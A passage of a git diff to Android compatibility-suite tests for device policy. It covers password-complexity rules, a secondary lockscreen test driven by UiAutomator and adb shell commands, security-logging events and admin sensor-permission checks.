 import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_ALPHANUMERIC;
 import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_COMPLEX;
@@ -55,6 +59,7 @@
         resetComplexPasswordRestrictions();
         mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
                 PASSWORD_QUALITY_UNSPECIFIED);
+        mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_NONE);
         super.tearDown();
     }
 
@@ -346,7 +351,7 @@
         resetComplexPasswordRestrictions();
 
         String caseDescription = "minimum Letters=0";
-        assertPasswordSucceeds("1234", caseDescription);
+        assertPasswordFails("1234", caseDescription); // Numeric PIN not allowed
         assertPasswordSucceeds("a123", caseDescription);
         assertPasswordSucceeds("abc1", caseDescription);
         assertPasswordSucceeds("abcd", caseDescription);
@@ -385,7 +390,7 @@
         assertPasswordSucceeds("abcd", caseDescription);
         assertPasswordSucceeds("1abc", caseDescription);
         assertPasswordSucceeds("123a", caseDescription);
-        assertPasswordSucceeds("1234", caseDescription);
+        assertPasswordFails("1234", caseDescription); // Numeric PIN not allowed
         assertPasswordFails("123", caseDescription); // too short
 
         mDevicePolicyManager.setPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT, 1);
@@ -394,7 +399,7 @@
         assertPasswordFails("abcd", caseDescription);
         assertPasswordSucceeds("1abc", caseDescription);
         assertPasswordSucceeds("123a", caseDescription);
-        assertPasswordSucceeds("1234", caseDescription);
+        assertPasswordFails("1234", caseDescription); // Numeric PIN not allowed
         assertPasswordFails("123", caseDescription); // too short
 
         mDevicePolicyManager.setPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT, 3);
@@ -403,10 +408,95 @@
         assertPasswordFails("abcd", caseDescription);
         assertPasswordFails("1abc", caseDescription);
         assertPasswordSucceeds("123a", caseDescription);
-        assertPasswordSucceeds("1234", caseDescription);
+        assertPasswordFails("1234", caseDescription); // Numeric PIN not allowed
         assertPasswordFails("123", caseDescription); // too short
     }
 
+    public void testPasswordComplexity_settingComplexityClearsQuality() {
+        if (!mShouldRun) {
+            return;
+        }
+
+        mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_COMPLEX);
+        mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_MEDIUM);
+        assertEquals(PASSWORD_QUALITY_UNSPECIFIED,
+                mDevicePolicyManager.getPasswordQuality(ADMIN_RECEIVER_COMPONENT));
+        assertEquals(PASSWORD_COMPLEXITY_MEDIUM,
+                mDevicePolicyManager.getRequiredPasswordComplexity());
+    }
+
+    public void testPasswordComplexity_settingQualityResetsComplexity() {
+        if (!mShouldRun) {
+            return;
+        }
+
+        mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_MEDIUM);
+        mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_COMPLEX);
+        assertEquals(PASSWORD_QUALITY_COMPLEX,
+                mDevicePolicyManager.getPasswordQuality(ADMIN_RECEIVER_COMPONENT));
+        assertEquals(PASSWORD_COMPLEXITY_NONE,
+                mDevicePolicyManager.getRequiredPasswordComplexity());
+    }
+
+    public void testPasswordComplexity_Low() {
+        if (!mShouldRun) {
+            return;
+        }
+
+        mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_LOW);
+        assertEquals(PASSWORD_COMPLEXITY_LOW,
+                mDevicePolicyManager.getRequiredPasswordComplexity());
+
+        String caseDescription = "low quality password";
+        assertPasswordSucceeds("abcd", caseDescription);
+        assertPasswordFails("123", caseDescription);
+        assertEquals(PASSWORD_COMPLEXITY_LOW, mDevicePolicyManager.getPasswordComplexity());
+        assertPasswordSucceeds("1a2b3c4d", caseDescription);
+        assertEquals(PASSWORD_COMPLEXITY_HIGH, mDevicePolicyManager.getPasswordComplexity());
+        assertPasswordSucceeds("162534", caseDescription); // 6 digits.
+        assertEquals(PASSWORD_COMPLEXITY_MEDIUM, mDevicePolicyManager.getPasswordComplexity());
+    }
+
+    public void testPasswordComplexity_Medium() {
+        if (!mShouldRun) {
+            return;
+        }
+
+        mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_MEDIUM);
+        assertEquals(PASSWORD_QUALITY_UNSPECIFIED,
+                mDevicePolicyManager.getPasswordQuality(ADMIN_RECEIVER_COMPONENT));
+        assertEquals(PASSWORD_COMPLEXITY_MEDIUM,
+                mDevicePolicyManager.getRequiredPasswordComplexity());
+
+        String caseDescription = "medium quality password";
+        assertPasswordSucceeds("axtd", caseDescription);
+        assertPasswordSucceeds("1axc", caseDescription);
+        assertPasswordSucceeds("1363", caseDescription);
+        assertPasswordFails("4444", caseDescription);
+        assertEquals(PASSWORD_COMPLEXITY_MEDIUM, mDevicePolicyManager.getPasswordComplexity());
+        assertPasswordSucceeds("1axc352ae63", caseDescription);
+        assertEquals(PASSWORD_COMPLEXITY_HIGH, mDevicePolicyManager.getPasswordComplexity());
+        assertPasswordFails("1234", caseDescription); // repeating pattern
+        assertEquals(PASSWORD_COMPLEXITY_HIGH, mDevicePolicyManager.getPasswordComplexity());
+    }
+
+    public void testPasswordComplexity_High() {
+        if (!mShouldRun) {
+            return;
+        }
+
+        mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_HIGH);
+        assertEquals(PASSWORD_COMPLEXITY_HIGH,
+                mDevicePolicyManager.getRequiredPasswordComplexity());
+
+        String caseDescription = "high quality password";
+        assertPasswordFails("abcd", caseDescription);
+        assertPasswordFails("123", caseDescription);
+        assertPasswordSucceeds("1a2b3c4d5e", caseDescription);
+        assertEquals(PASSWORD_COMPLEXITY_HIGH, mDevicePolicyManager.getPasswordComplexity());
+        assertPasswordFails("162534", caseDescription); // Only 6 digits.
+    }
+
     public void testPasswordQuality_complexSymbols() {
         if (!mShouldRun) {
             return;
@@ -507,6 +597,7 @@
         // First remove device lock
         mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
                 DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED);
+        mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_NONE);
         assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT, null,
                 TOKEN0, 0));
 
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java
index 8baf460..de7f94e 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java
@@ -16,36 +16,179 @@
 
 package com.android.cts.deviceandprofileowner;
 
-import static org.testng.Assert.assertThrows;
+import static com.android.cts.deviceandprofileowner.BaseDeviceAdminTest.ADMIN_RECEIVER_COMPONENT;
 
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertTrue;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
 import android.os.Process;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.Until;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.RequiresDevice;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.After;
 import org.junit.Before;
+import org.junit.Ignore;
 import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class SecondaryLockscreenTest extends BaseDeviceAdminTest {
+import java.util.List;
+
+// TODO(b/184280023): remove @RequiresDevice and @Ignores.
+@RequiresDevice
+@RunWith(AndroidJUnit4.class)
+public class SecondaryLockscreenTest {
+
+    private static final int UI_AUTOMATOR_WAIT_TIME_MILLIS = 10000;
+    private static final String TAG = "SecondaryLockscreenTest";
+
+    private Context mContext;
+    private DevicePolicyManager mDevicePolicyManager;
+    private UiDevice mUiDevice;
 
     @Before
-    @Override
     public void setUp() throws Exception {
-        super.setUp();
+        mContext = InstrumentationRegistry.getContext();
+        mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class);
+        mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+
+        assumeTrue(
+                "Device does not support secure lock",
+                mContext.getPackageManager().hasSystemFeature(
+                        PackageManager.FEATURE_SECURE_LOCK_SCREEN));
+
+        // TODO(b/182994391): Replace with more generic solution to override the supervision
+        // component.
+        mUiDevice.executeShellCommand("settings put global device_policy_constants "
+                + "use_test_admin_as_supervision_component=true");
+        mUiDevice.executeShellCommand("locksettings set-disabled false");
+        mUiDevice.executeShellCommand("locksettings set-pin 1234");
+
+        mDevicePolicyManager.clearPackagePersistentPreferredActivities(ADMIN_RECEIVER_COMPONENT,
+                mContext.getPackageName());
+
         assertFalse(mDevicePolicyManager.isSecondaryLockscreenEnabled(Process.myUserHandle()));
+        mDevicePolicyManager.setSecondaryLockscreenEnabled(ADMIN_RECEIVER_COMPONENT, true);
+        assertTrue(mDevicePolicyManager.isSecondaryLockscreenEnabled(Process.myUserHandle()));
     }
 
     @After
-    @Override
     public void tearDown() throws Exception {
+        mDevicePolicyManager.setSecondaryLockscreenEnabled(ADMIN_RECEIVER_COMPONENT, false);
         assertFalse(mDevicePolicyManager.isSecondaryLockscreenEnabled(Process.myUserHandle()));
-        super.tearDown();
+        mUiDevice.executeShellCommand("settings delete global device_policy_constants");
+        mUiDevice.executeShellCommand("locksettings clear --old 1234");
+        mUiDevice.executeShellCommand("locksettings set-disabled true");
     }
 
-    public void testSetSecondaryLockscreen_notSupervisionApp_throwsSecurityException() {
-        // This API is only available to the configured supervision app, which is not possible to
-        // override as part of a CTS test, so just test that a security exception is thrown as
-        // expected even for the DO/PO.
-        assertThrows(SecurityException.class,
-                () -> mDevicePolicyManager.setSecondaryLockscreenEnabled(ADMIN_RECEIVER_COMPONENT,
-                        true));
+    @Test
+    @Ignore("b/184280023")
+    public void testSetSecondaryLockscreenEnabled() throws Exception {
+        enterKeyguardPin();
+        assertTrue("Lockscreen title not shown",
+                mUiDevice.wait(Until.hasObject(By.text(SimpleKeyguardService.TITLE_LABEL)),
+                        UI_AUTOMATOR_WAIT_TIME_MILLIS));
+
+        mDevicePolicyManager.setSecondaryLockscreenEnabled(ADMIN_RECEIVER_COMPONENT, false);
+
+        // Verify that the lockscreen is dismissed after disabling the feature
+        assertFalse(mDevicePolicyManager.isSecondaryLockscreenEnabled(Process.myUserHandle()));
+        verifyHomeLauncherIsShown();
     }
-}
\ No newline at end of file
+
+    @Test
+    @Ignore("b/184280023")
+    public void testHomeButton() throws Exception {
+        enterKeyguardPin();
+        assertTrue("Lockscreen title not shown",
+                mUiDevice.wait(Until.hasObject(By.text(SimpleKeyguardService.TITLE_LABEL)),
+                        UI_AUTOMATOR_WAIT_TIME_MILLIS));
+
+        // Verify that pressing home does not dismiss the lockscreen
+        mUiDevice.pressHome();
+        verifySecondaryLockscreenIsShown();
+    }
+
+    @Test
+    @Ignore("b/184280023")
+    public void testDismiss() throws Exception {
+        enterKeyguardPin();
+        assertTrue("Lockscreen title not shown",
+                mUiDevice.wait(Until.hasObject(By.text(SimpleKeyguardService.TITLE_LABEL)),
+                        UI_AUTOMATOR_WAIT_TIME_MILLIS));
+
+        mUiDevice.findObject(By.text(SimpleKeyguardService.DISMISS_BUTTON_LABEL)).click();
+        verifyHomeLauncherIsShown();
+
+        // Verify that the feature is not disabled after dismissal
+        enterKeyguardPin();
+        assertTrue(mUiDevice.wait(Until.hasObject(By.text(SimpleKeyguardService.TITLE_LABEL)),
+                UI_AUTOMATOR_WAIT_TIME_MILLIS));
+        verifySecondaryLockscreenIsShown();
+    }
+
+    @Test(expected = SecurityException.class)
+    public void testSetSecondaryLockscreen_ineligibleAdmin_throwsSecurityException() {
+        final ComponentName badAdmin = new ComponentName("com.foo.bar", ".NonProfileOwnerReceiver");
+        mDevicePolicyManager.setSecondaryLockscreenEnabled(badAdmin, true);
+    }
+
+    private void enterKeyguardPin() throws Exception {
+        mUiDevice.executeShellCommand("input keyevent KEYCODE_SLEEP");
+        mUiDevice.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        assertTrue("Keyguard unexpectedly not shown",
+                mUiDevice.wait(Until.hasObject(
+                        By.res("com.android.systemui", "keyguard_status_view")),
+                                UI_AUTOMATOR_WAIT_TIME_MILLIS));
+        mUiDevice.executeShellCommand("wm dismiss-keyguard");
+        assertTrue("Keyguard pin entry unexpectedly not shown",
+                mUiDevice.wait(Until.hasObject(By.res("com.android.systemui", "pinEntry")),
+                        UI_AUTOMATOR_WAIT_TIME_MILLIS));
+        mUiDevice.executeShellCommand("input text 1234");
+        mUiDevice.executeShellCommand("input keyevent KEYCODE_ENTER");
+    }
+
+    private void verifyHomeLauncherIsShown() {
+        String launcherPackageName = getLauncherPackageName();
+        assertTrue("Lockscreen title is unexpectedly shown",
+                mUiDevice.wait(Until.gone(By.text(SimpleKeyguardService.TITLE_LABEL)),
+                        UI_AUTOMATOR_WAIT_TIME_MILLIS));
+        assertTrue(String.format("Launcher (%s) is not shown", launcherPackageName),
+                mUiDevice.wait(Until.hasObject(By.pkg(launcherPackageName)),
+                        UI_AUTOMATOR_WAIT_TIME_MILLIS));
+    }
+
+    private void verifySecondaryLockscreenIsShown() {
+        String launcherPackageName = getLauncherPackageName();
+        assertTrue("Lockscreen title is unexpectedly not shown",
+                mUiDevice.wait(Until.hasObject(By.text(SimpleKeyguardService.TITLE_LABEL)),
+                        UI_AUTOMATOR_WAIT_TIME_MILLIS));
+        assertTrue(String.format("Launcher (%s) is unexpectedly shown", launcherPackageName),
+                mUiDevice.wait(Until.gone(By.pkg(launcherPackageName)),
+                        UI_AUTOMATOR_WAIT_TIME_MILLIS));
+    }
+
+    private String getLauncherPackageName() {
+        Intent homeIntent = new Intent(Intent.ACTION_MAIN).addCategory(Intent.CATEGORY_HOME);
+        List<ResolveInfo> resolveInfos = mContext.getPackageManager().queryIntentActivities(
+                homeIntent, 0);
+        StringBuilder sb = new StringBuilder();
+        for (ResolveInfo resolveInfo : resolveInfos) {
+            sb.append(resolveInfo.activityInfo.packageName).append("/").append(
+                    resolveInfo.activityInfo.name).append(", ");
+        }
+        return resolveInfos.isEmpty() ? null : resolveInfos.get(0).activityInfo.packageName;
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java
index 42c03f6..38c949d 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java
@@ -16,6 +16,7 @@
 package com.android.cts.deviceandprofileowner;
 
 import static android.app.admin.DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT;
+import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_HIGH;
 import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_COMPLEX;
 import static android.app.admin.SecurityLog.LEVEL_ERROR;
 import static android.app.admin.SecurityLog.LEVEL_INFO;
@@ -45,6 +46,7 @@
 import static android.app.admin.SecurityLog.TAG_MEDIA_UNMOUNT;
 import static android.app.admin.SecurityLog.TAG_OS_SHUTDOWN;
 import static android.app.admin.SecurityLog.TAG_OS_STARTUP;
+import static android.app.admin.SecurityLog.TAG_PASSWORD_COMPLEXITY_REQUIRED;
 import static android.app.admin.SecurityLog.TAG_PASSWORD_COMPLEXITY_SET;
 import static android.app.admin.SecurityLog.TAG_PASSWORD_EXPIRATION_SET;
 import static android.app.admin.SecurityLog.TAG_PASSWORD_HISTORY_LENGTH_SET;
@@ -55,7 +57,11 @@
 import static android.app.admin.SecurityLog.TAG_USER_RESTRICTION_REMOVED;
 import static android.app.admin.SecurityLog.TAG_WIPE_FAILURE;
 
+import static com.android.cts.devicepolicy.TestCertificates.TEST_CA;
+import static com.android.cts.devicepolicy.TestCertificates.TEST_CA_SUBJECT;
+
 import static com.google.common.collect.ImmutableList.of;
+import static com.google.common.truth.Truth.assertThat;
 
 import android.app.admin.SecurityLog.SecurityEvent;
 import android.content.Context;
@@ -97,6 +103,9 @@
     private static final String PREF_NAME = "batchIds";
     // system/core/liblog/event.logtags: 1006  liblog (dropped|1)
     private static final int TAG_LIBLOG_DROPPED = 1006;
+    private static final String DELEGATE_APP_PKG = "com.android.cts.delegate";
+    private static final String DELEGATION_SECURITY_LOGGING = "delegation-security-logging";
+
 
     // For brevity.
     private static final Class<String> S = String.class;
@@ -139,41 +148,12 @@
                     .put(TAG_KEY_INTEGRITY_VIOLATION, of(S, I))
                     .put(TAG_CERT_VALIDATION_FAILURE, of(S))
                     .put(TAG_CAMERA_POLICY_SET, of(S, I, I, I))
+                    .put(TAG_PASSWORD_COMPLEXITY_REQUIRED, of(S, I, I, I))
                     .build();
 
     private static final String GENERATED_KEY_ALIAS = "generated_key_alias";
     private static final String IMPORTED_KEY_ALIAS = "imported_key_alias";
 
-    /*
-     * The CA cert below is the content of cacert.pem as generated by:
-     *
-     * openssl req -new -x509 -days 3650 -extensions v3_ca -keyout cakey.pem -out cacert.pem
-     */
-    private static final String TEST_CA =
-            "-----BEGIN CERTIFICATE-----\n" +
-            "MIIDXTCCAkWgAwIBAgIJAK9Tl/F9V8kSMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNV\n" +
-            "BAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBX\n" +
-            "aWRnaXRzIFB0eSBMdGQwHhcNMTUwMzA2MTczMjExWhcNMjUwMzAzMTczMjExWjBF\n" +
-            "MQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50\n" +
-            "ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB\n" +
-            "CgKCAQEAvItOutsE75WBTgTyNAHt4JXQ3JoseaGqcC3WQij6vhrleWi5KJ0jh1/M\n" +
-            "Rpry7Fajtwwb4t8VZa0NuM2h2YALv52w1xivql88zce/HU1y7XzbXhxis9o6SCI+\n" +
-            "oVQSbPeXRgBPppFzBEh3ZqYTVhAqw451XhwdA4Aqs3wts7ddjwlUzyMdU44osCUg\n" +
-            "kVg7lfPf9sTm5IoHVcfLSCWH5n6Nr9sH3o2ksyTwxuOAvsN11F/a0mmUoPciYPp+\n" +
-            "q7DzQzdi7akRG601DZ4YVOwo6UITGvDyuAAdxl5isovUXqe6Jmz2/myTSpAKxGFs\n" +
-            "jk9oRoG6WXWB1kni490GIPjJ1OceyQIDAQABo1AwTjAdBgNVHQ4EFgQUH1QIlPKL\n" +
-            "p2OQ/AoLOjKvBW4zK3AwHwYDVR0jBBgwFoAUH1QIlPKLp2OQ/AoLOjKvBW4zK3Aw\n" +
-            "DAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAcMi4voMMJHeQLjtq8Oky\n" +
-            "Azpyk8moDwgCd4llcGj7izOkIIFqq/lyqKdtykVKUWz2bSHO5cLrtaOCiBWVlaCV\n" +
-            "DYAnnVLM8aqaA6hJDIfaGs4zmwz0dY8hVMFCuCBiLWuPfiYtbEmjHGSmpQTG6Qxn\n" +
-            "ZJlaK5CZyt5pgh5EdNdvQmDEbKGmu0wpCq9qjZImwdyAul1t/B0DrsWApZMgZpeI\n" +
-            "d2od0VBrCICB1K4p+C51D93xyQiva7xQcCne+TAnGNy9+gjQ/MyR8MRpwRLv5ikD\n" +
-            "u0anJCN8pXo6IMglfMAsoton1J6o5/ae5uhC6caQU8bNUsCK570gpNfjkzo6rbP0\n" +
-            "wQ==\n" +
-            "-----END CERTIFICATE-----";
-
-    private static final String TEST_CA_SUBJECT = "o=internet widgits pty ltd,st=some-state,c=au";
-
     // Indices of various fields in event payload.
     private static final int SUCCESS_INDEX = 0;
     private static final int ALIAS_INDEX = 1;
@@ -242,7 +222,10 @@
     public void testVerifyGeneratedLogs() throws Exception {
         final List<SecurityEvent> events = getEvents();
         verifyAutomaticEventsPresent(events);
-        verifyKeystoreEventsPresent(events);
+
+        // STOPSHIP(b/183201685): re-enable when KeyStore2 logs these events.
+        // verifyKeystoreEventsPresent(events);
+
         verifyKeyChainEventsPresent(events);
         verifyAdminEventsPresent(events);
         verifyAdbShellCommand(events); // Event generated from host side logic
@@ -272,6 +255,7 @@
     private void verifyAdminEventsPresent(List<SecurityEvent> events) {
         if (mHasSecureLockScreen) {
             verifyPasswordComplexityEventsPresent(events);
+            verifyNewStylePasswordComplexityEventPresent(events);
         }
         verifyLockingPolicyEventsPresent(events);
         verifyUserRestrictionEventsPresent(events);
@@ -335,6 +319,7 @@
     private void generateAdminEvents() {
         if (mHasSecureLockScreen) {
             generatePasswordComplexityEvents();
+            generateNewStylePasswordComplexityEvents();
         }
         generateLockingPolicyEvents();
         generateUserRestrictionEvents();
@@ -563,6 +548,23 @@
         }
     }
 
+    public void testSetDelegateScope_delegationSecurityLogging() {
+        mDevicePolicyManager.setDelegatedScopes(ADMIN_RECEIVER_COMPONENT, DELEGATE_APP_PKG,
+                Arrays.asList(DELEGATION_SECURITY_LOGGING));
+
+        assertThat(mDevicePolicyManager.getDelegatedScopes(
+                ADMIN_RECEIVER_COMPONENT, DELEGATE_APP_PKG)).contains(DELEGATION_SECURITY_LOGGING);
+    }
+
+    public void testSetDelegateScope_noDelegation() {
+        mDevicePolicyManager.setDelegatedScopes(ADMIN_RECEIVER_COMPONENT, DELEGATE_APP_PKG,
+                Arrays.asList());
+
+        assertThat(mDevicePolicyManager.getDelegatedScopes(
+                ADMIN_RECEIVER_COMPONENT, DELEGATE_APP_PKG))
+                .doesNotContain(DELEGATION_SECURITY_LOGGING);
+    }
+
     private void generateKey(String keyAlias) throws Exception {
         final KeyPairGenerator generator = KeyPairGenerator.getInstance("RSA", "AndroidKeyStore");
         generator.initialize(
@@ -642,6 +644,10 @@
         mDevicePolicyManager.setPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT, TEST_PWD_CHARS);
     }
 
+    private void generateNewStylePasswordComplexityEvents() {
+        mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_HIGH);
+    }
+
     private void verifyPasswordComplexityEventsPresent(List<SecurityEvent> events) {
         final int userId = Process.myUserHandle().getIdentifier();
         // This reflects default values for password complexity event payload fields.
@@ -679,6 +685,19 @@
         findPasswordComplexityEvent("set pwd min symbols", events, expectedPayload);
     }
 
+    private void verifyNewStylePasswordComplexityEventPresent(List<SecurityEvent> events) {
+        final int userId = Process.myUserHandle().getIdentifier();
+        // This reflects default values for password complexity event payload fields.
+        final Object[] expectedPayload = new Object[] {
+                ADMIN_RECEIVER_COMPONENT.getPackageName(), // admin package
+                userId,                    // admin user
+                userId,                    // target user
+                PASSWORD_COMPLEXITY_HIGH   // password complexity
+        };
+
+        findNewStylePasswordComplexityEvent("require password complexity", events, expectedPayload);
+    }
+
     private void generateLockingPolicyEvents() {
         if (mHasSecureLockScreen) {
             mDevicePolicyManager.setPasswordExpirationTimeout(ADMIN_RECEIVER_COMPONENT,
@@ -747,6 +766,13 @@
                         Arrays.equals((Object[]) e.getData(), expectedPayload));
     }
 
+    private void findNewStylePasswordComplexityEvent(
+            String description, List<SecurityEvent> events, Object[] expectedPayload) {
+        findEvent(description, events,
+                e -> e.getTag() == TAG_PASSWORD_COMPLEXITY_REQUIRED &&
+                        Arrays.equals((Object[]) e.getData(), expectedPayload));
+    }
+
     private void generateUserRestrictionEvents() {
         mDevicePolicyManager.addUserRestriction(ADMIN_RECEIVER_COMPONENT,
                 UserManager.DISALLOW_PRINTING);
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SensorPermissionGrantTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SensorPermissionGrantTest.java
new file mode 100755
index 0000000..808d466
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SensorPermissionGrantTest.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.deviceandprofileowner;
+
+import static com.google.common.truth.Truth.assertThat;
+
+public class SensorPermissionGrantTest extends BaseDeviceAdminTest {
+    public void testAdminCanGrantSensorsPermissions() {
+        assertThat(mDevicePolicyManager.canAdminGrantSensorsPermissions()).isTrue();
+    }
+
+    public void testAdminCannotGrantSensorsPermission() {
+        assertThat(mDevicePolicyManager.canAdminGrantSensorsPermissions()).isFalse();
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SimpleKeyguardService.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SimpleKeyguardService.java
new file mode 100644
index 0000000..10246cf
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SimpleKeyguardService.java
@@ -0,0 +1,83 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceandprofileowner;
+
+import android.app.admin.DevicePolicyKeyguardService;
+import android.content.Context;
+import android.graphics.Color;
+import android.hardware.display.DisplayManager;
+import android.os.IBinder;
+import android.util.DisplayMetrics;
+import android.util.Log;
+import android.view.Display;
+import android.view.Gravity;
+import android.view.SurfaceControlViewHost;
+import android.view.View;
+import android.widget.Button;
+import android.widget.LinearLayout;
+import android.widget.TextView;
+
+/**
+ * Service that provides the secondary lockscreen content when the secondary lockscreen is enabled.
+ *
+ * <p>Handles the {@link DevicePolicyManager#ACTION_BIND_SECONDARY_LOCKSCREEN_SERVICE} action and
+ * in used in conjunction with {@link DevicePolicyManager.setSecondaryLockscreenEnabled}.
+ */
+public class SimpleKeyguardService extends DevicePolicyKeyguardService {
+
+    public static final String TITLE_LABEL = "SimpleKeyguardService Title";
+    public static final String DISMISS_BUTTON_LABEL = "Dismiss";
+    private static final String TAG = "SimpleKeyguardService";
+
+    @Override
+    public SurfaceControlViewHost.SurfacePackage onCreateKeyguardSurface(IBinder hostInputToken) {
+        Log.d(TAG, "onCreateKeyguardSurface()");
+        Context context = getApplicationContext();
+
+        DisplayManager displayManager = context.getSystemService(DisplayManager.class);
+        Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
+        DisplayMetrics displayMetrics = context.getResources().getDisplayMetrics();
+
+        SurfaceControlViewHost wvr = new SurfaceControlViewHost(context, display, hostInputToken);
+        wvr.setView(createView(context), displayMetrics.widthPixels, displayMetrics.heightPixels);
+
+        return wvr.getSurfacePackage();
+    }
+
+    private View createView(Context context) {
+        TextView title = new TextView(context);
+        title.setText(TITLE_LABEL);
+
+        Button button = new Button(context);
+        // Avoid potential all caps text transformation on button. (eg. b/172993563)
+        button.setTransformationMethod(null);
+        button.setText(DISMISS_BUTTON_LABEL);
+        button.setOnClickListener(ignored -> {
+            button.setText("Dismissing...");
+            button.setEnabled(false);
+            dismiss();
+        });
+
+        LinearLayout rootView = new LinearLayout(context);
+        rootView.setOrientation(LinearLayout.VERTICAL);
+        rootView.setGravity(Gravity.CENTER);
+        rootView.setBackgroundColor(Color.WHITE);
+        rootView.addView(title);
+        rootView.addView(button);
+        return rootView;
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SuspendPackageTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SuspendPackageTest.java
index 8a05a27..e4d0ff2 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SuspendPackageTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SuspendPackageTest.java
@@ -16,32 +16,38 @@
 
 package com.android.cts.deviceandprofileowner;
 
-import android.content.Intent;
-import android.content.pm.PackageManager;
-import android.content.pm.PackageManager.NameNotFoundException;
-import android.content.pm.ResolveInfo;
